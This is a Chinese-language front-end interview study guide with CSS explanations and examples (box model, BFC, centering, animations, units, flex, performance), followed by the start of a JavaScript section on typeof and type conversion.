一天快速复习完高频面试题

# 1 CSS

# 盒模型

  • 有两种, IE盒子模型、W3C盒子模型;
  • 盒模型: 内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IEcontent部分把 borderpadding计算了进去;

标准盒子模型的模型图

从上图可以看到:

  • 盒子总宽度 = width + padding + border + margin;
  • 盒子总高度 = height + padding + border + margin

也就是,width/height 只是内容高度,不包含 paddingborder

IE 怪异盒子模型

从上图可以看到:

  • 盒子总宽度 = width + margin;
  • 盒子总高度 = height + margin;

也就是,width/height 包含了 paddingborder

页面渲染时,dom 元素所采用的 布局模型。可通过box-sizing进行设置

通过 box-sizing 来改变元素的盒模型

CSS 中的 box-sizing 属性定义了引擎应该如何计算一个元素的总宽度和总高度

  • box-sizing: content-box; 默认的标准(W3C)盒模型元素效果,元素的 width/height 不包含paddingborder,与标准盒子模型表现一致
  • box-sizing: border-box; 触发怪异(IE)盒模型元素的效果,元素的 width/height 包含 paddingborder,与怪异盒子模型表现一致
  • box-sizing: inherit; 继承父元素 box-sizing 属性的值

小结

  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

# BFC

块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响。

IE下为 Layout,可通过 zoom:1 触发

触发条件:

  • 根元素,即HTML元素
  • 绝对定位元素 position: absolute/fixed
  • 行内块元素 display的值为inline-blocktableflexinline-flexgridinline-grid
  • 浮动元素:float值为leftright
  • overflow值不为 visible,为 autoscrollhidden

规则:

  1. 属于同一个 BFC 的两个相邻 Box 垂直排列
  2. 属于同一个 BFC 的两个相邻 Boxmargin 会发生重叠
  3. BFC 中子元素的 margin box 的左边, 与包含块 (BFC) border box的左边相接触 (子元素 absolute 除外)
  4. BFC 的区域不会与 float 的元素区域重叠
  5. 计算 BFC 的高度时,浮动子元素也参与计算
  6. 文字层不会被浮动层覆盖,环绕于周围

应用:

  • 利用2:阻止margin重叠
  • 利用4:自适应两栏布局
  • 利用 5 ,可以避免高度塌陷
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个div都位于同一个 BFC 区域之中)

示例

1. 防止margin重叠(塌陷)

<style>
    p {
      color: #f55;
      background: #fcc;
      width: 200px;
      line-height: 100px;
      text-align:center;
      margin: 100px;
    }
</style>
<body>
  <p>Haha</p >
  <p>Hehe</p >
</body>

  • 两个p元素之间的距离为100px,发生了margin重叠(塌陷),以最大的为准,如果第一个Pmargin80的话,两个P之间的距离还是100,以最大的为准。
  • 同一个BFC的俩个相邻的盒子的margin会发生重叠
  • 可以在p外面包裹一层容器,并触发这个容器生成一个BFC,那么两个p就不属于同一个BFC,则不会出现margin重叠
<style>
    .wrap {
        overflow: hidden;// 新的BFC
    }
    p {
        color: #f55;
        background: #fcc;
        width: 200px;
        line-height: 100px;
        text-align:center;
        margin: 100px;
    }
</style>
<body>
    <p>Haha</p >
    <div class="wrap">
        <p>Hehe</p >
    </div>
</body>

这时候,边距则不会重叠:

2. 清除内部浮动

<style>
    .par {
        border: 5px solid #fcc;
        width: 300px;
    }
 
    .child {
        border: 5px solid #f66;
        width:100px;
        height: 100px;
        float: left;
    }
</style>
<body>
    <div class="par">
      <div class="child"></div>
      <div class="child"></div>
    </div>
</body>

BFC在计算高度时,浮动元素也会参与,所以我们可以触发.par元素生成BFC,则内部浮动元素计算高度时候也会计算

.par {
    overflow: hidden;
}

3. 自适应多栏布局

这里举个两栏的布局

<style>
    body {
        width: 300px;
        position: relative;
    }
 
    .aside {
        width: 100px;
        height: 150px;
        float: left;
        background: #f66;
    }
 
    .main {
        height: 200px;
        background: #fcc;
    }
</style>
<body>
    <div class="aside"></div>
    <div class="main"></div>
</body>

  • 每个元素的左外边距与包含块的左边界相接触
  • 因此,虽然.aslide为浮动元素,但是main的左边依然会与包含块的左边相接触,而BFC的区域不会与浮动盒子重叠
  • 所以我们可以通过触发main生成BFC,以此适应两栏布局
.main {
  overflow: hidden;
}

这时候,新的BFC不会与浮动的.aside元素重叠。因此会根据包含块的宽度,和.aside的宽度,自动变窄

# 选择器权重计算方式

!important > 内联样式 = 外联样式 > ID选择器 > 类选择器 = 伪类选择器 = 属性选择器 > 元素选择器 = 伪元素选择器 > 通配选择器 = 后代选择器 = 兄弟选择器

  1. 属性后面加!import会覆盖页面内任何位置定义的元素样式
  2. 作为style属性写在元素内的样式
  3. id选择器
  4. 类选择器
  5. 标签选择器
  6. 通配符选择器(*
  7. 浏览器自定义或继承

同一级别:后写的会覆盖先写的

css选择器的解析原则:选择器定位DOM元素是从右往左的方向,这样可以尽早的过滤掉一些不必要的样式规则和元素

# 清除浮动

  1. 在浮动元素后面添加 clear:both的空 div 元素
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
    <div style="clear:both"></div>
</div>
  1. 给父元素添加 overflow:hidden 或者 auto 样式,触发BFC
<div class="container">
    <div class="left"></div>
    <div class="right"></div>
</div>
.container{
    width: 300px;
    background-color: #aaa;
    overflow:hidden;
    zoom:1;   /*IE6*/
}
  1. 使用伪元素,也是在元素末尾添加一个点并带有 clear: both 属性的元素实现的。
<div class="container clearfix">
    <div class="left"></div>
    <div class="right"></div>
</div>
.clearfix{
    zoom: 1; /*IE6*/
}
.clearfix:after{
    content: ".";
    height: 0;
    clear: both;
    display: block;
    visibility: hidden;
}

推荐使用第三种方法,不会在页面新增div,文档结构更加清晰

# 垂直居中的方案

  1. 利用绝对定位+transform,设置 left: 50%top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 translate 来调整子元素的中心点到父元素的中心。该方法可以不定宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  left: 50%;
  top: 50%;
  transform: translate(-50%, -50%);
}
  1. 利用绝对定位+margin:auto,子元素所有方向都为 0 ,将 margin 设置为 auto ,由于宽高固定,对应方向实现平分,该方法必须盒子有宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0px;
  margin: auto;
  height: 100px;
  width: 100px;
}
  1. 利用绝对定位+margin:负值,设置 left: 50%top: 50% 现将子元素左上角移到父元素中心位置,然后再通过 margin-leftmargin-top 以子元素自己的一半宽高进行负值赋值。该方法必须定宽高
.father {
  position: relative;
}
.son {
  position: absolute;
  left: 50%;
  top: 50%;
  width: 200px;
  height: 200px;
  margin-left: -100px;
  margin-top: -100px;
}
  1. 利用 flex ,最经典最方便的一种了,不用解释,定不定宽高无所谓
<style>
    .father {
        display: flex;
        justify-content: center;
        align-items: center;
        width: 200px;
        height: 200px;
        background: skyblue;
    }
    .son {
        width: 100px;
        height: 100px;
        background: red;
    }
</style>
<div class="father">
    <div class="son"></div>
</div>
  1. grid网格布局
<style>
.father {
  display: grid;
  align-items:center;
  justify-content: center;
  width: 200px;
  height: 200px;
  background: skyblue;

}
.son {
  width: 10px;
  height: 10px;
  border: 1px solid red
}
</style>
<div class="father">
  <div class="son"></div>
</div>
  1. table布局

设置父元素为display:table-cell,子元素设置 display: inline-block。利用verticaltext-align可以让所有的行内块级元素水平垂直居中

<style>
    .father {
        display: table-cell;
        width: 200px;
        height: 200px;
        background: skyblue;
        vertical-align: middle;
        text-align: center;
    }
    .son {
        display: inline-block;
        width: 100px;
        height: 100px;
        background: red;
    }
</style>
<div class="father">
    <div class="son"></div>
</div>

小结

不知道元素宽高大小仍能实现水平垂直居中的方法有:

  • 利用定位+margin:auto
  • 利用定位+transform
  • flex布局
  • grid布局

根据元素标签的性质,可以分为:

  • 内联元素居中布局
  • 块级元素居中布局

内联元素居中布局

  • 水平居中
    • 行内元素可设置:text-align: center
    • flex布局设置父元素:display: flex; justify-content: center
  • 垂直居中
    • 单行文本父元素确认高度:height === line-height
    • 多行文本父元素确认高度:display: table-cell; vertical-align: middle

块级元素居中布局

  • 水平居中
    • 定宽: margin: 0 auto
    • 绝对定位+left:50%+margin:负自身一半
  • 垂直居中
    • position: absolute设置lefttopmargin-leftmargin-top(定高)
    • display: table-cell
    • transform: translate(x, y)
    • flex(不定高,不定宽)
    • grid(不定高,不定宽),兼容性相对比较差

# CSS3的新特性

1. 是什么

css,即层叠样式表(Cascading Style Sheets)的简称,是一种标记语言,由浏览器解释执行用来使页面变得更美观

css3是css的最新标准,是向后兼容的,CSS1/2的特性在 CSS3 里都是可以使用的

CSS3 也增加了很多新特性,为开发带来了更佳的开发体验

2. 选择器

css3中新增了一些选择器,主要为如下图所示:

3. 新样式

  • 边框 css3新增了三个边框属性,分别是:
    • border-radius:创建圆角边框
    • box-shadow:为元素添加阴影
    • border-image:使用图片来绘制边框
  • box-shadow 设置元素阴影,设置属性如下(其中水平阴影和垂直阴影是必须设置的)
    • 水平阴影
    • 垂直阴影
    • 模糊距离(虚实)
    • 阴影尺寸(影子大小)
    • 阴影颜色
    • 内/外阴影
  • 背景 新增了几个关于背景的属性,分别是background-clipbackground-originbackground-sizebackground-break
    • background-clip 用于确定背景画区,有以下几种可能的属性:通常情况,背景都是覆盖整个元素的,利用这个属性可以设定背景颜色或图片的覆盖范围
      • background-clip: border-box; 背景从border开始显示
      • background-clip: padding-box; 背景从padding开始显示
      • background-clip: content-box; 背景显content区域开始显示
      • background-clip: no-clip; 默认属性,等同于border-box
    • background-origin 当我们设置背景图片时,图片是会以左上角对齐,但是是以border的左上角对齐还是以padding的左上角或者content的左上角对齐? border-origin正是用来设置这个的
      • background-origin: border-box; 从border开始计算background-position
      • background-origin: padding-box; 从padding开始计算background-position
      • background-origin: content-box; 从content开始计算background-position
      • 默认情况是padding-box,即以padding的左上角为原点
    • background-size 常用来调整背景图片的大小,主要用于设定图片本身。有以下可能的属性:
      • background-size: contain; 缩小图片以适合元素(维持像素长宽比)
      • background-size: cover; 扩展元素以填补元素(维持像素长宽比)
      • background-size: 100px 100px; 缩小图片至指定的大小
      • background-size: 50% 100%; 缩小图片至指定的大小,百分比是相对包 含元素的尺寸
    • background-break 元素可以被分成几个独立的盒子(如使内联元素span跨越多行),background-break 属性用来控制背景怎样在这些不同的盒子中显示
      • background-break: continuous; 默认值。忽略盒之间的距离(也就是像元素没有分成多个盒子,依然是一个整体一样)
      • background-break: bounding-box; 把盒之间的距离计算在内;
      • background-break: each-box; 为每个盒子单独重绘背景
  • 文字
    • word-wrap: normal|break-word
      • normal:使用浏览器默认的换行
      • break-all:允许在单词内换行
    • text-overflow 设置或检索当当前行超过指定容器的边界时如何显示,属性有两个值选择
      • clip:修剪文本
      • ellipsis:显示省略符号来代表被修剪的文本
    • text-shadow 可向文本应用阴影。能够规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色
    • text-decoration CSS3里面开始支持对文字的更深层次的渲染,具体有三个属性可供设置:
      • text-fill-color: 设置文字内部填充颜色
      • text-stroke-color: 设置文字边界填充颜色
      • text-stroke-width: 设置文字边界宽度
  • 颜色
    • css3新增了新的颜色表示方式rgbahsla
    • rgba分为两部分,rgb为颜色值,a为透明度
    • hala分为四部分,h为色相,s为饱和度,l为亮度,a为透明度

4. transition 过渡

transition属性可以被指定为一个或多个CSS属性的过渡效果,多个属性之间用逗号进行分隔,必须规定两项内容:

  • 过度效果
  • 持续时间
transition: CSS属性,花费时间,效果曲线(默认ease),延迟时间(默认0)

上面为简写模式,也可以分开写各个属性

transition-property: width; 
transition-duration: 1s;
transition-timing-function: linear;
transition-delay: 2s;

5. transform 转换

  • transform属性允许你旋转,缩放,倾斜或平移给定元素
  • transform-origin:转换元素的位置(围绕那个点进行转换),默认值为(x,y,z):(50%,50%,0)

使用方式:

  • transform: translate(120px, 50%):位移
  • transform: scale(2, 0.5):缩放
  • transform: rotate(0.5turn):旋转
  • transform: skew(30deg, 20deg):倾斜

6. animation 动画

动画这个平常用的也很多,主要是做一个预设的动画。和一些页面交互的动画效果,结果和过渡应该一样,让页面不会那么生硬

animation也有很多的属性

  • animation-name:动画名称
  • animation-duration:动画持续时间
  • animation-timing-function:动画时间函数
  • animation-delay:动画延迟时间
  • animation-iteration-count:动画执行次数,可以设置为一个整数,也可以设置为infinite,意思是无限循环
  • animation-direction:动画执行方向
  • animation-paly-state:动画播放状态
  • animation-fill-mode:动画填充模式

7. 渐变

颜色渐变是指在两个颜色之间平稳的过渡,css3渐变包括

  • linear-gradient:线性渐变 background-image: linear-gradient(direction, color-stop1, color-stop2, ...);
  • radial-gradient:径向渐变 linear-gradient(0deg, red, green)

8. 其他

  • Flex弹性布局
  • Grid栅格布局
  • 媒体查询 @media screen and (max-width: 960px) {}还有打印print

transition和animation的区别

Animationtransition大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是transition需要触发一个事件才能改变属性,而animation不需要触发任何事件的情况下才会随时间改变属性值,并且transition为2帧,从from .... to,而animation可以一帧一帧的

# CSS动画和过渡

常见的动画效果有很多,如平移旋转缩放等等,复杂动画则是多个简单动画的组合

css实现动画的方式,有如下几种:

  • transition 实现渐变动画
  • transform 转变动画
  • animation 实现自定义动画

1. transition 实现渐变动画

transition的属性如下:

  • transition-property:填写需要变化的css属性
  • transition-duration:完成过渡效果需要的时间单位(s或者ms)默认是 0
  • transition-timing-function:完成效果的速度曲线
  • transition-delay: (规定过渡效果何时开始。默认是0

一般情况下,我们都是写一起的,比如:transition: width 2s ease 1s

其中timing-function的值有如下:

描述
linear 匀速(等于 cubic-bezier(0,0,1,1)
ease 从慢到快再到慢(cubic-bezier(0.25,0.1,0.25,1)
ease-in 慢慢变快(等于 cubic-bezier(0.42,0,1,1)
ease-out 慢慢变慢(等于 cubic-bezier(0,0,0.58,1)
ease-in-out 先变快再到慢(等于 cubic-bezier(0.42,0,0.58,1)`),渐显渐隐效果
cubic-bezier(*n*,*n*,*n*,*n*) cubic-bezier 函数中定义自己的值。可能的值是 01 之间的数值

注意:并不是所有的属性都能使用过渡的,如display:none<->display:block

举个例子,实现鼠标移动上去发生变化动画效果

<style>
  .base {
    width: 100px;
    height: 100px;
    display: inline-block;
    background-color: #0EA9FF;
    border-width: 5px;
    border-style: solid;
    border-color: #5daf34;
    transition-property: width, height, background-color, border-width;
    transition-duration: 2s;
    transition-timing-function: ease-in;
    transition-delay: 500ms;
  }

  /*简写*/
  /*transition: all 2s ease-in 500ms;*/
  .base:hover {
    width: 200px;
    height: 200px;
    background-color: #5daf34;
    border-width: 10px;
    border-color: #3a8ee6;
  }
</style>
<div class="base"></div>

2. transform 转变动画

包含四个常用的功能:

  • translate(x,y):位移
  • scale:缩放
  • rotate:旋转
  • skew:倾斜

一般配合transition过度使用

注意的是,transform不支持inline元素,使用前把它变成block

举个例子

<style>
.base {
  width: 100px;
  height: 100px;
  display: inline-block;
  background-color: #0EA9FF;
  border-width: 5px;
  border-style: solid;
  border-color: #5daf34;
  transition-property: width, height, background-color, border-width;
  transition-duration: 2s;
  transition-timing-function: ease-in;
  transition-delay: 500ms;
}
.base2 {
  transform: none;
  transition-property: transform;
  transition-delay: 5ms;
}
.base2:hover {
  transform: scale(0.8, 1.5) rotate(35deg) skew(5deg) translate(15px, 25px);
}
</style>
<div class="base base2"></div>

可以看到盒子发生了旋转,倾斜,平移,放大

3. animation 实现自定义动画

一个关键帧动画,最少包含两部分,animation 属性及属性值(动画的名称和运行方式运行时间等)@keyframes(规定动画的具体实现过程)

animation是由 8 个属性的简写,分别如下:

属性 描述 属性值
animation-duration 指定动画完成一个周期所需要时间,单位秒(s)或毫秒(ms),默认是 0
animation-timing-function 指定动画计时函数,即动画的速度曲线,默认是 "ease" lineareaseease-inease-outease-in-out
animation-delay 指定动画延迟时间,即动画何时开始,默认是 0
animation-iteration-count 指定动画播放的次数,默认是 1。但我们一般用infinite,一直播放
animation-direction 指定动画播放的方向 默认是 normal normalreversealternatealternate-reverse
animation-fill-mode 指定动画填充模式。默认是 none forwardsbackwardsboth
animation-play-state 指定动画播放状态,正在运行或暂停。默认是 running runningpauser
animation-name 指定 @keyframes 动画的名称

CSS 动画只需要定义一些关键的帧,而其余的帧,浏览器会根据计时函数插值计算出来,

@keyframes定义关键帧,可以是from->to(等同于0%100%),也可以是从0%->100%之间任意个的分层设置

因此,如果我们想要让元素旋转一圈,只需要定义开始和结束两帧即可:

@keyframes rotate{
  from {
    transform: rotate(0deg);
  }
  to {
    transform: rotate(360deg);
  }
}

from 表示最开始的那一帧,to 表示结束时的那一帧

也可以使用百分比刻画生命周期

@keyframes rotate{
  0%{
    transform: rotate(0deg);
  }
  50%{
    transform: rotate(180deg);
  }
  100%{
    transform: rotate(360deg);
  }
}

定义好了关键帧后,下来就可以直接用它了:

animation: rotate 2s;

总结

属性 含义
transition(过度) 用于设置元素的样式过度,和animation有着类似的效果,但细节上有很大的不同
transform(变形) 用于元素进行旋转、缩放、移动或倾斜,和设置样式的动画并没有什么关系,就相当于color一样用来设置元素的“外表”
translate(移动) 只是transform的一个属性值,即移动
animation(动画) 用于设置动画属性,他是一个简写的属性,包含6个属性

4. 用css3动画使一个图片旋转

#loader {
  display: block;
  position: relative;
  -webkit-animation: spin 2s linear infinite;
  animation: spin 2s linear infinite;
}

@-webkit-keyframes spin {
  0%   {
    -webkit-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    -ms-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes spin {
  0%   {
    -webkit-transform: rotate(0deg);
    -ms-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    -ms-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

# 说说em/px/rem/vh/vw区别

传统的项目开发中,我们只会用到px%em这几个单位,它可以适用于大部分的项目开发,且拥有比较良好的兼容性

从CSS3开始,浏览器对计量单位的支持又提升到了另外一个境界,新增了remvhvwvm等一些新的计量单位

利用这些新的单位开发出比较良好的响应式页面,适应多种不同分辨率的终端,包括移动设备等

css单位中,可以分为长度单位、绝对单位,如下表所指示

CSS单位
相对长度单位 em、ex、ch、rem、vw、vh、vmin、vmax、%
绝对长度单位 cm、mm、in、px、pt、pc

这里我们主要讲述pxemremvhvw

px

px,表示像素,所谓像素就是呈现在我们显示器上的一个个小点,每个像素点都是大小等同的,所以像素为计量单位被分在了绝对长度单位中

有些人会把px认为是相对长度,原因在于在移动端中存在设备像素比,px实际显示的大小是不确定的

这里之所以认为px为绝对单位,在于px的大小和元素的其他属性无关

em

em是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸(1em = 16px

为了简化 font-size 的换算,我们需要在css中的 body 选择器中声明font-size= 62.5%,这就使 em 值变为 16px*62.5% = 10px

这样 12px = 1.2em, 10px = 1em, 也就是说只需要将你的原来的px 数值除以 10,然后换上 em作为单位就行了

特点:

  • em 的值并不是固定的
  • em 会继承父级元素的字体大小
  • em 是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸
  • 任意浏览器的默认字体高都是 16px

举个例子

<div class="big">
    我是14px=1.4rem<div class="small">我是12px=1.2rem</div>
</div>

样式为

<style>
    html {font-size: 10px;  } /*  公式16px*62.5%=10px  */  
    .big{font-size: 1.4rem}
    .small{font-size: 1.2rem}
</style>

这时候.big元素的font-size为14px,而.small元素的font-size为12px

rem(常用)

  • 根据屏幕的分辨率动态设置html的文字大小,达到等比缩放的功能
  • 保证html最终算出来的字体大小,不能小于12px
  • 在不同的移动端显示不同的元素比例效果
  • 如果htmlfont-size:20px的时候,那么此时的1rem = 20px
  • 把设计图的宽度分成多少分之一,根据实际情况
  • rem做盒子的宽度,viewport缩放

head加入常见的meta属性

<meta name="format-detection" content="telephone=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<!--这个是关键-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,minimum-scale=1.0">

把这段代码加入head中的script预先加载

// rem适配用这段代码动态计算html的font-size大小
(function(win) {
    var docEl = win.document.documentElement;
    var timer = '';

    function changeRem() {
        var width = docEl.getBoundingClientRect().width;
        if (width > 750) { // 750是设计稿大小
            width = 750;
        }
        var fontS = width / 10; // 把设备宽度十等分 1rem=10px
        docEl.style.fontSize = fontS + "px";
    }
    win.addEventListener("resize", function() {
        clearTimeout(timer);
        timer = setTimeout(changeRem, 30);
    }, false);
    win.addEventListener("pageshow", function(e) {
        if (e.persisted) { //清除缓存
            clearTimeout(timer);
            timer = setTimeout(changeRem, 30);
        }
    }, false);
    changeRem();
})(window)

vh、vw

vw ,就是根据窗口的宽度,分成100等份,100vw就表示满宽,50vw就表示一半宽。(vw 始终是针对窗口的宽),同理,vh则为窗口的高度

这里的窗口分成几种情况:

  • 在桌面端,指的是浏览器的可视区域
  • 移动端指的就是布局视口

vwvh,比较容易混淆的一个单位是%,不过百分比宽泛的讲是相对于父元素:

  • 对于普通定位元素就是我们理解的父元素
  • 对于position: absolute;的元素是相对于已定位的父元素
  • 对于position: fixed;的元素是相对于 ViewPort(可视窗口)

总结

  • px:绝对单位,页面按精确像素展示
  • %:相对于父元素的宽度比例
  • em:相对单位,基准点为父节点字体的大小,如果自身定义了font-size按自身来计算(浏览器默认字体是16px),整个页面内1em不是一个固定的值
  • rem:相对单位,可理解为root em, 相对根节点html的字体大小来计算
  • vh、vw:主要用于页面视口大小布局,在页面布局上更加方便简单
    • vw:屏幕宽度的1%
    • vh:屏幕高度的1%
    • vmin:取vwvh中较小的那个(如:10vh=100px 10vw=200pxvmin=10vh=100px
    • vmax:取vwvh中较大的那个(如:10vh=100px 10vw=200pxvmax=10vw=200px

# flex布局

很多时候我们会用到 flex: 1 ,它具体包含了以下的意思

  • flex-grow: 1 :该属性默认为 0 ,如果存在剩余空间,元素也不放大。设置为 1  代表会放大。
  • flex-shrink: 1 :该属性默认为 `1 ,如果空间不足,元素缩小。
  • flex-basis: 0% :该属性定义在分配多余空间之前,元素占据的主轴空间。浏览器就是根据这个属性来计算是否有多余空间的。默认值为 auto ,即项目本身大小。设置为 0%  之后,因为有 flex-grow  和 flex-shrink 的设置会自动放大或缩小。在做两栏布局时,如果右边的自适应元素 flex-basis  设为auto  的话,其本身大小将会是 0

# 如果要做优化,CSS提高性能的方法有哪些?

实现方式有很多种,主要有如下:

  • 内联首屏关键CSS
    • 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联css关键代码能够使浏览器在下载完html后就能立刻渲染
    • 而如果外部引用css代码,在解析html结构过程中遇到外部css文件,才会开始下载css代码,再渲染
    • 所以,CSS内联使用使渲染时间提前
    • 注意:但是较大的css代码并不合适内联(初始拥塞窗口、没有缓存),而其余代码则采取外部引用方式
  • 异步加载CSS
    • 在CSS文件请求、下载、解析完成之前,CSS会阻塞渲染,浏览器将不会渲染任何已处理的内容
    • 前面加载内联代码后,后面的外部引用css则没必要阻塞浏览器渲染。这时候就可以采取异步加载的方案,主要有如下:
      • 使用javascript将link标签插到head标签最后
      // 创建link标签
      const myCSS = document.createElement( "link" );
      myCSS.rel = "stylesheet";
      myCSS.href = "mystyles.css";
      // 插入到header的最后位置
      document.head.insertBefore( myCSS, document.head.childNodes[ document.head.childNodes.length - 1 ].nextSibling )
      
      • 设置link标签media属性为noexis,浏览器会认为当前样式表不适用当前类型,会在不阻塞页面渲染的情况下再进行下载。加载完成后,将media的值设为screenall,从而让浏览器开始解析CSS
      <link rel="stylesheet" href="mystyles.css" media="noexist" onload="this.media='all'">
      
      • 通过rel属性将link元素标记为alternate可选样式表,也能实现浏览器异步加载。同样别忘了加载完成之后,将rel设回stylesheet
      <link rel="alternate stylesheet" href="mystyles.css" onload="this.rel='stylesheet'">
      
  • 资源压缩
    • 利用webpackgulp/gruntrollup等模块化工具,将css代码进行压缩,使文件变小,大大降低了浏览器的加载时间
  • 合理使用选择器
    • css匹配的规则是从右往左开始匹配,例如#markdown .content h3匹配规则如下:
      • 先找到h3标签元素
      • 然后去除祖先不是.content的元素
      • 最后去除祖先不是#markdown的元素
    • 如果嵌套的层级更多,页面中的元素更多,那么匹配所要花费的时间代价自然更高
    • 所以我们在编写选择器的时候,可以遵循以下规则:
      • 不要嵌套使用过多复杂选择器,最好不要三层以上
      • 使用id选择器就没必要再进行嵌套
      • 通配符和属性选择器效率最低,避免使用
  • 减少使用昂贵的属性
    • 在页面发生重绘的时候,昂贵属性如box-shadow/border-radius/filter/透明度/:nth-child等,会降低浏览器的渲染性能
  • 不要使用@import
    • css样式文件有两种引入方式,一种是link元素,另一种是@import
    • @import会影响浏览器的并行下载,使得页面在加载时增加额外的延迟,增添了额外的往返耗时
    • 而且多个@import可能会导致下载顺序紊乱
    • 比如一个css文件index.css包含了以下内容:@import url("reset.css")
    • 那么浏览器就必须先把index.css下载、解析和执行后,才下载、解析和执行第二个文件reset.css
  • 其他
    • 减少重排操作,以及减少不必要的重绘
    • 了解哪些属性可以继承而来,避免对这些属性重复编写
    • css Sprite,合成所有icon图片,用宽高加上backgroud-position的背景图方式显现出我们要的icon图,减少了http请求
    • 把小的icon图片转成base64编码
    • CSS3动画或者过渡尽量使用transform和opacity来实现动画,不要使用lefttop属性

# 画一条 0.5px 的线

  • 采用 meta viewport 的方式 <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
  • 采用 border-image 的方式
  • 采用 transform: scale() 的方式

# 如何画一个三角形

三角形原理:边框的均分原理

div {
  width:0px;
  height:0px;
  border-top:10px solid red; 
  border-right:10px solid transparent; 
  border-bottom:10px solid transparent; 
  border-left:10px solid transparent;
}

# 两栏布局:左边定宽,右边自适应方案

<div class="box">
  <div class="box-left"></div>
  <div class="box-right"></div>
</div>

利用float + margin实现

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  margin-left: 200px;
  background-color: red;
}

利用calc计算宽度

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  width: calc(100% - 200px);
  float: right;
  background-color: red;
}

利用float + overflow实现

.box {
 height: 200px;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  float: left;
  background-color: blue;
}

.box-right {
  overflow: hidden;
  background-color: red;
}

利用flex实现

.box {
  height: 200px;
  display: flex;
}

.box > div {
  height: 100%;
}

.box-left {
  width: 200px;
  background-color: blue;
}

.box-right {
  flex: 1; // 设置flex-grow属性为1,默认为0
  overflow: hidden;
  background-color: red;
}

# 2 JavaScript

# typeof类型判断

typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么

  • typeof 对于原始类型来说,除了 null 都可以显示正确的类型
typeof 1 // 'number'
typeof '1' // 'string'
typeof undefined // 'undefined'
typeof true // 'boolean'
typeof Symbol() // 'symbol'

typeof 对于对象来说,除了函数都会显示 object,所以说 typeof 并不能准确判断变量到底是什么类型

typeof [] // 'object'
typeof {} // 'object'
typeof console.log // 'function'

如果我们想判断一个对象的正确类型,这时候可以考虑使用 instanceof,因为内部机制是通过原型链来判断的

const Person = function() {}
const p1 = new Person()
p1 instanceof Person // true

var str = 'hello world'
str instanceof String // false

var str1 = new String('hello world')
str1 instanceof String // true

对于原始类型来说,你想直接通过 instanceof来判断类型是不行的

  • typeof
    • 直接在计算机底层基于数据类型的值(二进制)进行检测
    • typeof nullobject 原因是对象存在在计算机中,都是以000开始的二进制存储,所以检测出来的结果是对象
    • typeof 普通对象/数组对象/正则对象/日期对象 都是object
    • typeof NaN === 'number'
  • instanceof
    • 检测当前实例是否属于这个类的
    • 底层机制:只要当前类出现在实例的原型上,结果都是true
    • 不能检测基本数据类型
  • constructor
    • 支持基本类型
    • constructor可以随便改,也不准
  • Object.prototype.toString.call([val])
    • 返回当前实例所属类信息

写一个getType函数,获取详细的数据类型

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • numberstringboolean等值类型
    • 引用类型objectarraymapregexp
/**
 * 获取详细的数据类型
 * @param x x
 */
function getType(x) {
  const originType = Object.prototype.toString.call(x) // '[object String]'
  const spaceIndex = originType.indexOf(' ')
  const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
  return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise

# 类型转换

首先我们要知道,在 JS 中类型转换只有三种情况,分别是:

  • 转换为布尔值
  • 转换为数字
  • 转换为字符串

转Boolean

在条件判断时,除了 undefinednullfalseNaN''0-0,其他所有值都转为 true,包括所有对象

对象转原始类型

对象在转换类型的时候,会调用内置的 [[ToPrimitive]] 函数,对于该函数来说,算法逻辑一般来说如下

  • 如果已经是原始类型了,那就不需要转换了
  • 调用 x.valueOf(),如果转换为基础类型,就返回转换的值
  • 调用 x.toString(),如果转换为基础类型,就返回转换的值
  • 如果都没有返回原始类型,就会报错

